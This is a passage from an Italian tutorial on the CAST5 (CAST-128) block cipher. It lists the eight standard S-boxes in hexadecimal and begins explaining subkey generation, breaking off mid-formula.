detto può | | lavorare con chiavi di diverse dimensioni; per intendere una certa | | dimensione essa dev'essere specifcata nella sigla, es: CAST5-64, | | CAST5-128 etc. E' uscito nel giugno 1999 anche un altro articolo di | | Adams e J. Gilchrist, della Entrust Technologies, i quali presentano una | | "seconda generazione" del CAST, ovvero il CAST6 che ha una dimensione | | della chiave standard di 256 bit, si basa sullo stesso "motore" del | | CAST5 ed ha anch'esso parametri variabili e tutte le altre | | caratteristiche del CAST standard, ma è ancora forse troppo presto per | | dire se sia effettivamente sicuro o no. | | Il CAST5 cmq, di per sè accetta una chiave di 128 bit e basta, se si | | intende utilizzare una dimensione inferiore bisogna PADdare i bit | | rimanenti con tanti 0 quanti ce ne vogliono per arrivare a 128 bit. Per | | una dimensione della chiave da 40 a 80 bit (inclusi) si utilizzano 12 | | round, sennò 16. | | L'algoritmo possiede inoltre diverse proprietà desiderabili, quali il | | SAC, il BIC, la proprietà di non-complementazione etc... | | Il CAST5-128 usa 8 S-Box indicate con S[i] con l'input a 8 bit e | | l'output a 32 bit: in pratica sono array di 256 elementi da 32 bit | | ognuno. In ogni round vengono usate le S-Box da 1 a 4, le altre 4 sono | | key-schedule S-Box, il che significa che sono utilizzate PRIMA di | | cominciare i 16 round per generare le sottochiavi. Gli autori hanno | | presentato le 8 S-Box standard, ma esse possono essere sostituite a | | piacere, rendendo il CAST molto difficile da analizzare. Comunque sia | | quelle usate sono le 8 S-Box standard, per motivi di compatibilità | | ovviamente. | | | | Per la vostra gioia =) ecco le S-Box originali (i valori sono in hex): | | | | | | S[1] | | | | 30fb40d4 9fa0ff0b 6beccd2f 3f258c7a 1e213f2f 9c004dd3 6003e540 cf9fc949 | | bfd4af27 88bbbdb5 e2034090 98d09675 6e63a0e0 15c361d2 c2e7661d 22d4ff8e | | 28683b6f c07fd059 ff2379c8 775f50e2 43c340d3 df2f8656 887ca41a a2d2bd2d | | a1c9e0d6 346c4819 61b76d87 22540f2f 2abe32e1 aa54166b 22568e3a a2d341d0 | | 66db40c8 a784392f 004dff2f 2db9d2de 97943fac 4a97c1d8 527644b7 b5f437a7 | | b82cbaef d751d159 6ff7f0ed 5a097a1f 827b68d0 90ecf52e 22b0c054 bc8e5935 | | 4b6d2f7f 50bb64a2 d2664910 bee5812d b7332290 e93b159f b48ee411 4bff345d | | fd45c240 ad31973f c4f6d02e 55fc8165 d5b1caad a1ac2dae a2d4b76d c19b0c50 | | 882240f2 0c6e4f38 a4e4bfd7 4f5ba272 564c1d2f c59c5319 b949e354 b04669fe | | b1b6ab8a c71358dd 6385c545 110f935d 57538ad5 6a390493 e63d37e0 2a54f6b3 | | 3a787d5f 6276a0b5 19a6fcdf 7a42206a 29f9d4d5 f61b1891 bb72275e aa508167 | | 38901091 c6b505eb 84c7cb8c 2ad75a0f 874a1427 a2d1936b 2ad286af aa56d291 | | d7894360 425c750d 93b39e26 187184c9 6c00b32d 73e2bb14 a0bebc3c 54623779 | | 64459eab 3f328b82 7718cf82 59a2cea6 04ee002e 89fe78e6 3fab0950 325ff6c2 | | 81383f05 6963c5c8 76cb5ad6 d49974c9 ca180dcf 380782d5 c7fa5cf6 8ac31511 | | 35e79e13 47da91d0 f40f9086 a7e2419e 31366241 051ef495 aa573b04 4a805d8d | | 548300d0 00322a3c bf64cddf ba57a68e 75c6372b 50afd341 a7c13275 915a0bf5 | | 6b54bfab 2b0b1426 ab4cc9d7 449ccd82 f7fbf265 ab85c5f3 1b55db94 aad4e324 | | cfa4bd3f 2deaa3e2 9e204d02 c8bd25ac eadf55b3 d5bd9e98 e31231b2 2ad5ad6c | | 954329de adbe4528 d8710f69 aa51c90f aa786bf6 22513f1e aa51a79b 2ad344cc | | 7b5a41f0 d37cfbad 1b069505 41ece491 b4c332e6 032268d4 c9600acc ce387e6d | | bf6bb16c 6a70fb78 0d03d9c9 d4df39de e01063da 4736f464 5ad328d8 b347cc96 | | 75bb0fc3 98511bfb 4ffbcc35 b58bcf6a e11f0abc bfc5fe4a a70aec10 ac39570a | | 3f04442f 6188b153 e0397a2e 5727cb79 9ceb418f 1cacd68d 2ad37c96 0175cb9d | | c69dff09 c75b65f0 d9db40d8 ec0e7779 4744ead4 b11c3274 dd24cb9e 7e1c54bd | | f01144f9 d2240eb1 9675b3fd a3ac3755 d47c27af 51c85f4d 56907596 a5bb15e6 | | 580304f0 ca042cf1 011a37ea 8dbfaadb 35ba3e4a 3526ffa0 c37b4d09 bc306ed9 | | 98a52666 5648f725 ff5e569d 0ced63d0 7c63b2cf 700b45e1 d5ea50f1 85a92872 | | af1fbda7 d4234870 a7870bf3 2d3b4d79 42e04198 0cd0ede7 26470db8 f881814c | | 474d6ad7 7c0c5e5c d1231959 381b7298 f5d2f4db ab838653 6e2f1e23 83719c9e | | bd91e046 9a56456e dc39200c 20c8c571 962bda1c e1e696ff b141ab08 7cca89b9 | | 1a69e783 02cc4843 a2f7c579 429ef47d 427b169c 5ac9f049 dd8f0f00 5c8165bf | | | | | | S[2] | | | | 1f201094 ef0ba75b 69e3cf7e 393f4380 fe61cf7a eec5207a 55889c94 72fc0651 | | ada7ef79 4e1d7235 d55a63ce de0436ba 99c430ef 5f0c0794 18dcdb7d a1d6eff3 | | a0b52f7b 59e83605 ee15b094 e9ffd909 dc440086 ef944459 ba83ccb3 e0c3cdfb | | d1da4181 3b092ab1 f997f1c1 a5e6cf7b 01420ddb e4e7ef5b 25a1ff41 e180f806 | | 1fc41080 179bee7a d37ac6a9 fe5830a4 98de8b7f 77e83f4e 79929269 24fa9f7b | | e113c85b acc40083 d7503525 f7ea615f 62143154 0d554b63 5d681121 c866c359 | | 3d63cf73 cee234c0 d4d87e87 5c672b21 071f6181 39f7627f 361e3084 e4eb573b | | 602f64a4 d63acd9c 1bbc4635 9e81032d 2701f50c 99847ab4 a0e3df79 ba6cf38c | | 10843094 2537a95e f46f6ffe a1ff3b1f 208cfb6a 8f458c74 d9e0a227 4ec73a34 | | fc884f69 3e4de8df ef0e0088 3559648d 8a45388c 1d804366 721d9bfd a58684bb | | e8256333 844e8212 128d8098 fed33fb4 ce280ae1 27e19ba5 d5a6c252 e49754bd | | c5d655dd eb667064 77840b4d a1b6a801 84db26a9 e0b56714 21f043b7 e5d05860 | | 54f03084 066ff472 a31aa153 dadc4755 b5625dbf 68561be6 83ca6b94 2d6ed23b | | eccf01db a6d3d0ba b6803d5c af77a709 33b4a34c 397bc8d6 5ee22b95 5f0e5304 | | 81ed6f61 20e74364 b45e1378 de18639b 881ca122 b96726d1 8049a7e8 22b7da7b | | 5e552d25 5272d237 79d2951c c60d894c 488cb402 1ba4fe5b a4b09f6b 1ca815cf | | a20c3005 8871df63 b9de2fcb 0cc6c9e9 0beeff53 e3214517 b4542835 9f63293c | | ee41e729 6e1d2d7c 50045286 1e6685f3 f33401c6 30a22c95 31a70850 60930f13 | | 73f98417 a1269859 ec645c44 52c877a9 cdff33a6 a02b1741 7cbad9a2 2180036f | | 50d99c08 cb3f4861 c26bd765 64a3f6ab 80342676 25a75e7b e4e6d1fc 20c710e6 | | cdf0b680 17844d3b 31eef84d 7e0824e4 2ccb49eb 846a3bae 8ff77888 ee5d60f6 | | 7af75673 2fdd5cdb a11631c1 30f66f43 b3faec54 157fd7fa ef8579cc d152de58 | | db2ffd5e 8f32ce19 306af97a 02f03ef8 99319ad5 c242fa0f a7e3ebb0 c68e4906 | | b8da230c 80823028 dcdef3c8 d35fb171 088a1bc8 bec0c560 61a3c9e8 bca8f54d | | c72feffa 22822e99 82c570b4 d8d94e89 8b1c34bc 301e16e6 273be979 b0ffeaa6 | | 61d9b8c6 00b24869 b7ffce3f 08dc283b 43daf65a f7e19798 7619b72f 8f1c9ba4 | | dc8637a0 16a7d3b1 9fc393b7 a7136eeb c6bcc63e 1a513742 ef6828bc 520365d6 | | 2d6a77ab 3527ed4b 821fd216 095c6e2e db92f2fb 5eea29cb 145892f5 91584f7f | | 5483697b 2667a8cc 85196048 8c4bacea 833860d4 0d23e0f9 6c387e8a 0ae6d249 | | b284600c d835731d dcb1c647 ac4c56ea 3ebd81b3 230eabb0 6438bc87 f0b5b1fa | | 8f5ea2b3 fc184642 0a036b7a 4fb089bd 649da589 a345415e 5c038323 3e5d3bb9 | | 43d79572 7e6dd07c 06dfdf1e 6c6cc4ef 7160a539 73bfbe70 83877605 4523ecf1 | | | | | | S[3] | | | | 8defc240 25fa5d9f eb903dbf e810c907 47607fff 369fe44b 8c1fc644 aececa90 | | beb1f9bf eefbcaea e8cf1950 51df07ae 920e8806 f0ad0548 e13c8d83 927010d5 | | 11107d9f 07647db9 b2e3e4d4 3d4f285e b9afa820 fade82e0 a067268b 8272792e | | 553fb2c0 489ae22b d4ef9794 125e3fbc 21fffcee 825b1bfd 9255c5ed 1257a240 | | 4e1a8302 bae07fff 528246e7 8e57140e 3373f7bf 8c9f8188 a6fc4ee8 c982b5a5 | | a8c01db7 579fc264 67094f31 f2bd3f5f 40fff7c1 1fb78dfc 8e6bd2c1 437be59b | | 99b03dbf b5dbc64b 638dc0e6 55819d99 a197c81c 4a012d6e c5884a28 ccc36f71 | | b843c213 6c0743f1 8309893c 0feddd5f 2f7fe850 d7c07f7e 02507fbf 5afb9a04 | | a747d2d0 1651192e af70bf3e 58c31380 5f98302e 727cc3c4 0a0fb402 0f7fef82 | | 8c96fdad 5d2c2aae 8ee99a49 50da88b8 8427f4a0 1eac5790 796fb449 8252dc15 | | efbd7d9b a672597d ada840d8 45f54504 fa5d7403 e83ec305 4f91751a 925669c2 | | 23efe941 a903f12e 60270df2 0276e4b6 94fd6574 927985b2 8276dbcb 02778176 | | f8af918d 4e48f79e 8f616ddf e29d840e 842f7d83 340ce5c8 96bbb682 93b4b148 | | ef303cab 984faf28 779faf9b 92dc560d 224d1e20 8437aa88 7d29dc96 2756d3dc | | 8b907cee b51fd240 e7c07ce3 e566b4a1 c3e9615e 3cf8209d 6094d1e3 cd9ca341 | | 5c76460e 00ea983b d4d67881 fd47572c f76cedd9 bda8229c 127dadaa 438a074e | | 1f97c090 081bdb8a 93a07ebe b938ca15 97b03cff 3dc2c0f8 8d1ab2ec 64380e51 | | 68cc7bfb d90f2788 12490181 5de5ffd4 dd7ef86a 76a2e214 b9a40368 925d958f | | 4b39fffa ba39aee9 a4ffd30b faf7933b 6d498623 193cbcfa 27627545 825cf47a | | 61bd8ba0 d11e42d1 cead04f4 127ea392 10428db7 8272a972 9270c4a8 127de50b | | 285ba1c8 3c62f44f 35c0eaa5 e805d231 428929fb b4fcdf82 4fb66a53 0e7dc15b | | 1f081fab 108618ae fcfd086d f9ff2889 694bcc11 236a5cae 12deca4d 2c3f8cc5 | | d2d02dfe f8ef5896 e4cf52da 95155b67 494a488c b9b6a80c 5c8f82bc 89d36b45 | | 3a609437 ec00c9a9 44715253 0a874b49 d773bc40 7c34671c 02717ef6 4feb5536 | | a2d02fff d2bf60c4 d43f03c0 50b4ef6d 07478cd1 006e1888 a2e53f55 b9e6d4bc | | a2048016 97573833 d7207d67 de0f8f3d 72f87b33 abcc4f33 7688c55d 7b00a6b0 | | 947b0001 570075d2 f9bb88f8 8942019e 4264a5ff 856302e0 72dbd92b ee971b69 | | 6ea22fde 5f08ae2b af7a616d e5c98767 cf1febd2 61efc8c2 f1ac2571 cc8239c2 | | 67214cb8 b1e583d1 b7dc3e62 7f10bdce f90a5c38 0ff0443d 606e6dc6 60543a49 | | 5727c148 2be98a1d 8ab41738 20e1be24 af96da0f 68458425 99833be5 600d457d | | 282f9350 8334b362 d91d1120 2b6d8da0 642b1e31 9c305a00 52bce688 1b03588a | | f7baefd5 4142ed9c a4315c11 83323ec5 dfef4636 a133c501 e9d3531c ee353783 | | | | | | S[4] | | | | 9db30420 1fb6e9de a7be7bef d273a298 4a4f7bdb 64ad8c57 85510443 fa020ed1 | | 7e287aff e60fb663 095f35a1 79ebf120 fd059d43 6497b7b1 f3641f63 241e4adf | | 28147f5f 4fa2b8cd c9430040 0cc32220 fdd30b30 c0a5374f 1d2d00d9 24147b15 | | ee4d111a 0fca5167 71ff904c 2d195ffe 1a05645f 0c13fefe 081b08ca 05170121 | | 80530100 e83e5efe ac9af4f8 7fe72701 d2b8ee5f 06df4261 bb9e9b8a 7293ea25 | | ce84ffdf f5718801 3dd64b04 a26f263b 7ed48400 547eebe6 446d4ca0 6cf3d6f5 | | 2649abdf aea0c7f5 36338cc1 503f7e93 d3772061 11b638e1 72500e03 f80eb2bb | | abe0502e ec8d77de 57971e81 e14f6746 c9335400 6920318f 081dbb99 ffc304a5 | | 4d351805 7f3d5ce3 a6c866c6 5d5bcca9 daec6fea 9f926f91 9f46222f 3991467d | | a5bf6d8e 1143c44f 43958302 d0214eeb 022083b8 3fb6180c 18f8931e 281658e6 | | 26486e3e 8bd78a70 7477e4c1 b506e07c f32d0a25 79098b02 e4eabb81 28123b23 | | 69dead38 1574ca16 df871b62 211c40b7 a51a9ef9 0014377b 041e8ac8 09114003 | | bd59e4d2 e3d156d5 4fe876d5 2f91a340 557be8de 00eae4a7 0ce5c2ec 4db4bba6 | | e756bdff dd3369ac ec17b035 06572327 99afc8b0 56c8c391 6b65811c 5e146119 | | 6e85cb75 be07c002 c2325577 893ff4ec 5bbfc92d d0ec3b25 b7801ab7 8d6d3b24 | | 20c763ef c366a5fc 9c382880 0ace3205 aac9548a eca1d7c7 041afa32 1d16625a | | 6701902c 9b757a54 31d477f7 9126b031 36cc6fdb c70b8b46 d9e66a48 56e55a79 | | 026a4ceb 52437eff 2f8f76b4 0df980a5 8674cde3 edda04eb 17a9be04 2c18f4df | | b7747f9d ab2af7b4 efc34d20 2e096b7c 1741a254 e5b6a035 213d42f6 2c1c7c26 | | 61c2f50f 6552daf9 d2c231f8 25130f69 d8167fa2 0418f2c8 001a96a6 0d1526ab | | 63315c21 5e0a72ec 49bafefd 187908d9 8d0dbd86 311170a7 3e9b640c cc3e10d7 | | d5cad3b6 0caec388 f73001e1 6c728aff 71eae2a1 1f9af36e cfcbd12f c1de8417 | | ac07be6b cb44a1d8 8b9b0f56 013988c3 b1c52fca b4be31cd d8782806 12a3a4e2 | | 6f7de532 58fd7eb6 d01ee900 24adffc2 f4990fc5 9711aac5 001d7b95 82e5e7d2 | | 109873f6 00613096 c32d9521 ada121ff 29908415 7fbb977f af9eb3db 29c9ed2a | | 5ce2a465 a730f32c d0aa3fe8 8a5cc091 d49e2ce7 0ce454a9 d60acd86 015f1919 | | 77079103 dea03af6 78a8565e dee356df 21f05cbe 8b75e387 b3c50651 b8a5c3ef | | d8eeb6d2 e523be77 c2154529 2f69efdf afe67afb f470c4b2 f3e0eb5b d6cc9876 | | 39e4460c 1fda8538 1987832f ca007367 a99144f8 296b299e 492fc295 9266beab | | b5676e69 9bd3ddda df7e052f db25701c 1b5e51ee f65324e6 6afce36c 0316cc04 | | 8644213e b7dc59d0 7965291f ccd6fd43 41823979 932bcdf6 b657c34d 4edfd282 | | 7ae5290c 3cb9536b 851e20fe 9833557e 13ecf0b0 d3ffb372 3f85c5c1 0aef7ed2 | | | | | | S[5] | | | | 7ec90c04 2c6e74b9 9b0e66df a6337911 b86a7fff 1dd358f5 44dd9d44 1731167f | | 08fbf1fa e7f511cc d2051b00 735aba00 2ab722d8 386381cb acf6243a 69befd7a | | e6a2e77f f0c720cd c4494816 ccf5c180 38851640 15b0a848 e68b18cb 4caadeff | | 5f480a01 0412b2aa 259814fc 41d0efe2 4e40b48d 248eb6fb 8dba1cfe 41a99b02 | | 1a550a04 ba8f65cb 7251f4e7 95a51725 c106ecd7 97a5980a c539b9aa 4d79fe6a | | f2f3f763 68af8040 ed0c9e56 11b4958b e1eb5a88 8709e6b0 d7e07156 4e29fea7 | | 6366e52d 02d1c000 c4ac8e05 9377f571 0c05372a 578535f2 2261be02 d642a0c9 | | df13a280 74b55bd2 682199c0 d421e5ec 53fb3ce8 c8adedb3 28a87fc9 3d959981 | | 5c1ff900 fe38d399 0c4eff0b 062407ea aa2f4fb1 4fb96976 90c79505 b0a8a774 | | ef55a1ff e59ca2c2 a6b62d27 e66a4263 df65001f 0ec50966 dfdd55bc 29de0655 | | 911e739a 17af8975 32c7911c 89f89468 0d01e980 524755f4 03b63cc9 0cc844b2 | | bcf3f0aa 87ac36e9 e53a7426 01b3d82b 1a9e7449 64ee2d7e cddbb1da 01c94910 | | b868bf80 0d26f3fd 9342ede7 04a5c284 636737b6 50f5b616 f24766e3 8eca36c1 | | 136e05db fef18391 fb887a37 d6e7f7d4 c7fb7dc9 3063fcdf b6f589de ec2941da | | 26e46695 b7566419 f654efc5 d08d58b7 48925401 c1bacb7f e5ff550f b6083049 | | 5bb5d0e8 87d72e5a ab6a6ee1 223a66ce c62bf3cd 9e0885f9 68cb3e47 086c010f | | a21de820 d18b69de f3f65777 fa02c3f6 407edac3 cbb3d550 1793084d b0d70eba | | 0ab378d5 d951fb0c ded7da56 4124bbe4 94ca0b56 0f5755d1 e0e1e56e 6184b5be | | 580a249f 94f74bc0 e327888e 9f7b5561 c3dc0280 05687715 646c6bd7 44904db3 | | 66b4f0a3 c0f1648a 697ed5af 49e92ff6 309e374f 2cb6356a 85808573 4991f840 | | 76f0ae02 083be84d 28421c9a 44489406 736e4cb8 c1092910 8bc95fc6 7d869cf4 | | 134f616f 2e77118d b31b2be1 aa90b472 3ca5d717 7d161bba 9cad9010 af462ba2 | | 9fe459d2 45d34559 d9f2da13 dbc65487 f3e4f94e 176d486f 097c13ea 631da5c7 | | 445f7382 175683f4 cdc66a97 70be0288 b3cdcf72 6e5dd2f3 20936079 459b80a5 | | be60e2db a9c23101 eba5315c 224e42f2 1c5c1572 f6721b2c 1ad2fff3 8c25404e | | 324ed72f 4067b7fd 0523138e 5ca3bc78 dc0fd66e 75922283 784d6b17 58ebb16e | | 44094f85 3f481d87 fcfeae7b 77b5ff76 8c2302bf aaf47556 5f46b02a 2b092801 | | 3d38f5f7 0ca81f36 52af4a8a 66d5e7c0 df3b0874 95055110 1b5ad7a8 f61ed5ad | | 6cf6e479 20758184 d0cefa65 88f7be58 4a046826 0ff6f8f3 a09c7f70 5346aba0 | | 5ce96c28 e176eda3 6bac307f 376829d2 85360fa9 17e3fe2a 24b79767 f5a96b20 | | d6cd2595 68ff1ebf 7555442c f19f06be f9e0659a eeb9491d 34010718 bb30cab8 | | e822fe15 88570983 750e6249 da627e55 5e76ffa8 b1534546 6d47de08 efe9e7d4 | | | | | | S[6] | | | | f6fa8f9d 2cac6ce1 4ca34867 e2337f7c 95db08e7 016843b4 eced5cbc 325553ac | | bf9f0960 dfa1e2ed 83f0579d 63ed86b9 1ab6a6b8 de5ebe39 f38ff732 8989b138 | | 33f14961 c01937bd f506c6da e4625e7e a308ea99 4e23e33c 79cbd7cc 48a14367 | | a3149619 fec94bd5 a114174a eaa01866 a084db2d 09a8486f a888614a 2900af98 | | 01665991 e1992863 c8f30c60 2e78ef3c d0d51932 cf0fec14 f7ca07d2 d0a82072 | | fd41197e 9305a6b0 e86be3da 74bed3cd 372da53c 4c7f4448 dab5d440 6dba0ec3 | | 083919a7 9fbaeed9 49dbcfb0 4e670c53 5c3d9c01 64bdb941 2c0e636a ba7dd9cd | | ea6f7388 e70bc762 35f29adb 5c4cdd8d f0d48d8c b88153e2 08a19866 1ae2eac8 | | 284caf89 aa928223 9334be53 3b3a21bf 16434be3 9aea3906 efe8c36e f890cdd9 | | 80226dae c340a4a3 df7e9c09 a694a807 5b7c5ecc 221db3a6 9a69a02f 68818a54 | | ceb2296f 53c0843a fe893655 25bfe68a b4628abc cf222ebf 25ac6f48 a9a99387 | | 53bddb65 e76ffbe7 e967fd78 0ba93563 8e342bc1 e8a11be9 4980740d c8087dfc | | 8de4bf99 a11101a0 7fd37975 da5a26c0 e81f994f 9528cd89 fd339fed b87834bf | | 5f04456d 22258698 c9c4c83b 2dc156be 4f628daa 57f55ec5 e2220abe d2916ebf | | 4ec75b95 24f2c3c0 42d15d99 cd0d7fa0 7b6e27ff a8dc8af0 7345c106 f41e232f | | 35162386 e6ea8926 3333b094 157ec6f2 372b74af 692573e4 e9a9d848 f3160289 | | 3a62ef1d a787e238 f3a5f676 74364853 20951063 4576698d b6fad407 592af950 | | 36f73523 4cfb6e87 7da4cec0 6c152daa cb0396a8 c50dfe5d fcd707ab 0921c42f | | 89dff0bb 5fe2be78 448f4f33 754613c9 2b05d08d 48b9d585 dc049441 c8098f9b | | 7dede786 c39a3373 42410005 6a091751 0ef3c8a6 890072d6 28207682 a9a9f7be | | bf32679d d45b5b75 b353fd00 cbb0e358 830f220a 1f8fb214 d372cf08 cc3c4a13 | | 8cf63166 061c87be 88c98f88 6062e397 47cf8e7a b6c85283 3cc2acfb 3fc06976 | | 4e8f0252 64d8314d da3870e3 1e665459 c10908f0 513021a5 6c5b68b7 822f8aa0 | | 3007cd3e 74719eef dc872681 073340d4 7e432fd9 0c5ec241 8809286c f592d891 | | 08a930f6 957ef305 b7fbffbd c266e96f 6fe4ac98 b173ecc0 bc60b42a 953498da | | fba1ae12 2d4bd736 0f25faab a4f3fceb e2969123 257f0c3d 9348af49 361400bc | | e8816f4a 3814f200 a3f94043 9c7a54c2 bc704f57 da41e7f9 c25ad33a 54f4a084 | | b17f5505 59357cbe edbd15c8 7f97c5ab ba5ac7b5 b6f6deaf 3a479c3a 5302da25 | | 653d7e6a 54268d49 51a477ea 5017d55b d7d25d88 44136c76 0404a8c8 b8e5a121 | | b81a928a 60ed5869 97c55b96 eaec991b 29935913 01fdb7f1 088e8dfa 9ab6f6f5 | | 3b4cbf9f 4a5de3ab e6051d35 a0e1d855 d36b4cf1 f544edeb b0e93524 bebb8fbd | | a2d762cf 49c92f54 38b5f331 7128a454 48392905 a65b1db8 851c97bd d675cf2f | | | | | | S[7] | | | | 85e04019 332bf567 662dbfff cfc65693 2a8d7f6f ab9bc912 de6008a1 2028da1f | | 0227bce7 4d642916 18fac300 50f18b82 2cb2cb11 b232e75c 4b3695f2 b28707de | | a05fbcf6 cd4181e9 e150210c e24ef1bd b168c381 fde4e789 5c79b0d8 1e8bfd43 | | 4d495001 38be4341 913cee1d 92a79c3f 089766be baeeadf4 1286becf b6eacb19 | | 2660c200 7565bde4 64241f7a 8248dca9 c3b3ad66 28136086 0bd8dfa8 356d1cf2 | | 107789be b3b2e9ce 0502aa8f 0bc0351e 166bf52a eb12ff82 e3486911 d34d7516 | | 4e7b3aff 5f43671b 9cf6e037 4981ac83 334266ce 8c9341b7 d0d854c0 cb3a6c88 | | 47bc2829 4725ba37 a66ad22b 7ad61f1e 0c5cbafa 4437f107 b6e79962 42d2d816 | | 0a961288 e1a5c06e 13749e67 72fc081a b1d139f7 f9583745 cf19df58 bec3f756 | | c06eba30 07211b24 45c28829 c95e317f bc8ec511 38bc46e9 c6e6fa14 bae8584a | | ad4ebc46 468f508b 7829435f f124183b 821dba9f aff60ff4 ea2c4e6d 16e39264 | | 92544a8b 009b4fc3 aba68ced 9ac96f78 06a5b79a b2856e6e 1aec3ca9 be838688 | | 0e0804e9 55f1be56 e7e5363b b3a1f25d f7debb85 61fe033c 16746233 3c034c28 | | da6d0c74 79aac56c 3ce4e1ad 51f0c802 98f8f35a 1626a49f eed82b29 1d382fe3 | | 0c4fb99a bb325778 3ec6d97b 6e77a6a9 cb658b5c d45230c7 2bd1408b 60c03eb7 | | b9068d78 a33754f4 f430c87d c8a71302 b96d8c32 ebd4e7be be8b9d2d 7979fb06 | | e7225308 8b75cf77 11ef8da4 e083c858 8d6b786f 5a6317a6 fa5cf7a0 5dda0033 | | f28ebfb0 f5b9c310 a0eac280 08b9767a a3d9d2b0 79d34217 021a718d 9ac6336a | | 2711fd60 438050e3 069908a8 3d7fedc4 826d2bef 4eeb8476 488dcf25 36c9d566 | | 28e74e41 c2610aca 3d49a9cf bae3b9df b65f8de6 92aeaf64 3ac7d5e6 9ea80509 | | f22b017d a4173f70 dd1e16c3 15e0d7f9 50b1b887 2b9f4fd5 625aba82 6a017962 | | 2ec01b9c 15488aa9 d716e740 40055a2c 93d29a22 e32dbf9a 058745b9 3453dc1e | | d699296e 496cff6f 1c9f4986 dfe2ed07 b87242d1 19de7eae 053e561a 15ad6f8c | | 66626c1c 7154c24c ea082b2a 93eb2939 17dcb0f0 58d4f2ae 9ea294fb 52cf564c | | 9883fe66 2ec40581 763953c3 01d6692e d3a0c108 a1e7160e e4f2dfa6 693ed285 | | 74904698 4c2b0edd 4f757656 5d393378 a132234f 3d321c5d c3f5e194 4b269301 | | c79f022f 3c997e7e 5e4f9504 3ffafbbd 76f7ad0e 296693f4 3d1fce6f c61e45be | | d3b5ab34 f72bf9b7 1b0434c0 4e72b567 5592a33d b5229301 cfd2a87f 60aeb767 | | 1814386b 30bcc33d 38a0c07d fd1606f2 c363519b 589dd390 5479f8e6 1cb8d647 | | 97fd61a9 ea7759f4 2d57539d 569a58cf e84e63ad 462e1b78 6580f87e f3817914 | | 91da55f4 40a230f3 d1988f35 b6e318d2 3ffa50bc 3d40f021 c3c0bdae 4958c24c | | 518f36b2 84b1d370 0fedce83 878ddada f2a279c7 94e01be8 90716f4b 954b8aa3 | | | | | | S[8] | | | | e216300d bbddfffc a7ebdabd 35648095 7789f8b7 e6c1121b 0e241600 052ce8b5 | | 11a9cfb0 e5952f11 ece7990a 9386d174 2a42931c 76e38111 b12def3a 37ddddfc | | de9adeb1 0a0cc32c be197029 84a00940 bb243a0f b4d137cf b44e79f0 049eedfd | | 0b15a15d 480d3168 8bbbde5a 669ded42 c7ece831 3f8f95e7 72df191b 7580330d | | 94074251 5c7dcdfa abbe6d63 aa402164 b301d40a 02e7d1ca 53571dae 7a3182a2 | | 12a8ddec fdaa335d 176f43e8 71fb46d4 38129022 ce949ad4 b84769ad 965bd862 | | 82f3d055 66fb9767 15b80b4e 1d5b47a0 4cfde06f c28ec4b8 57e8726e 647a78fc | | 99865d44 608bd593 6c200e03 39dc5ff6 5d0b00a3 ae63aff2 7e8bd632 70108c0c | | bbd35049 2998df04 980cf42a 9b6df491 9e7edd53 06918548 58cb7e07 3b74ef2e | | 522fffb1 d24708cc 1c7e27cd a4eb215b 3cf1d2e2 19b47a38 424f7618 35856039 | | 9d17dee7 27eb35e6 c9aff67b 36baf5b8 09c467cd c18910b1 e11dbf7b 06cd1af8 | | 7170c608 2d5e3354 d4de495a 64c6d006 bcc0c62c 3dd00db3 708f8f34 77d51b42 | | 264f620f 24b8d2bf 15c1b79e 46a52564 f8d7e54e 3e378160 7895cda5 859c15a5 | | e6459788 c37bc75f db07ba0c 0676a3ab 7f229b1e 31842e7b 24259fd7 f8bef472 | | 835ffcb8 6df4c1f2 96f5b195 fd0af0fc b0fe134c e2506d3d 4f9b12ea f215f225 | | a223736f 9fb4c428 25d04979 34c713f8 c4618187 ea7a6e98 7cd16efc 1436876c | | f1544107 bedeee14 56e9af27 a04aa441 3cf7c899 92ecbae6 dd67016d 151682eb | | a842eedf fdba60b4 f1907b75 20e3030f 24d8c29e e139673b efa63fb8 71873054 | | b6f2cf3b 9f326442 cb15a4cc b01a4504 f1e47d8d 844a1be5 bae7dfdc 42cbda70 | | cd7dae0a 57e85b7a d53f5af6 20cf4d8c cea4d428 79d130a4 3486ebfb 33d3cddc | | 77853b53 37effcb5 c5068778 e580b3e6 4e68b8f4 c5c8b37e 0d809ea2 398feb7c | | 132a4f94 43b7950e 2fee7d1c 223613bd dd06caa2 37df932b c4248289 acf3ebc3 | | 5715f6b7 ef3478dd f267616f c148cbe4 9052815e 5e410fab b48a2465 2eda7fa4 | | e87b40e4 e98ea084 5889e9e1 efd390fc dd07d35b db485694 38d7e5b2 57720101 | | 730edebc 5b643113 94917e4f 503c2fba 646f1282 7523d24a e0779695 f9c17a8f | | 7a5b2121 d187b896 29263a4d ba510cdf 81f47c9f ad1163ed ea7b5965 1a00726e | | 11403092 00da6d77 4a0cdd61 ad1f4603 605bdfb0 9eedc364 22ebe6a8 cee7d28a | | a0e736a0 5564a6b9 10853209 c7eb8f37 2de705ca 8951570f df09822b bd691a6c | | aa12e4f2 87451c0f e0f6a27a 3ada4819 4cf1764f 0d771c2b 67cdb156 350d8384 | | 5938fa0f 42399ef3 36997b07 0e84093d 4aa93e61 8360d87b 1fa98b0c 1149382c | | e97625a5 0614d1b7 0e25244b 0c768347 589e8d82 0d2059d1 a466bb1e f8da0a82 | | 04f19130 ba6e4ec0 99265164 1ee7230d 50b2ad80 eaee6801 8db2a283 ea8bf59e | | | | Tutte queste S-Box hanno una "minimum nonlinearity of 74 and a maximum | | entry of 2 in the difference distribution table"... meglio tralasciare | | eh, che dite? :P | | | | L'algoritmo CAST è estremamente complicato, anche più del DES! Io ora | | descriverò il CAST5-128, ovvero la modalità standard. | | | | | | | | < GENERAZIONE DELLE SOTTOCHIAVI > | | | | Innanzitutto bisogna generare le sottochiavi a partire dalla chiave K di | | 128 bit. Bisogna generare 32 sottochiavi in tutto, ognuna da 32 bit. | | Ecco come fare: | | | | - si indica la chiave da 128 bit come [x0x1x2x3x4x5x6x7x8x9xAxBxCxDxExF] | | dove x0 rappresenta il byte high-end | | e xF il byte low-end. Quindi xF sarà il primo byte della chiave, xE il | | secondo e così via. Otteniamo quindi 16 valori da 8 bit. | | | | - utilizziamo un valore di 128 bit di swap (temporaneo), che sarà | | indicato con [z0z1z2z3z4z5z6z7z8z9zAzBzCzDzEzF], secondo il criterio | | di prima. | | | | - inizializziamo i byte del blocco di swap in blocchi da 32 bit per | | volta, lo faremo prendendo i byte della chiave K, passandoli alle | | S-Box numerate da 5 a 8 e XORando i risultanti valori tra di loro e | | con alcuni byte della stessa chiave K: | | | | [z0z1z2z3] = [x0x1x2x3] ^^ S[5](xD) ^^ S[6](xF) | | ^^ S[7](xC) ^^ S[8](xE) ^^ 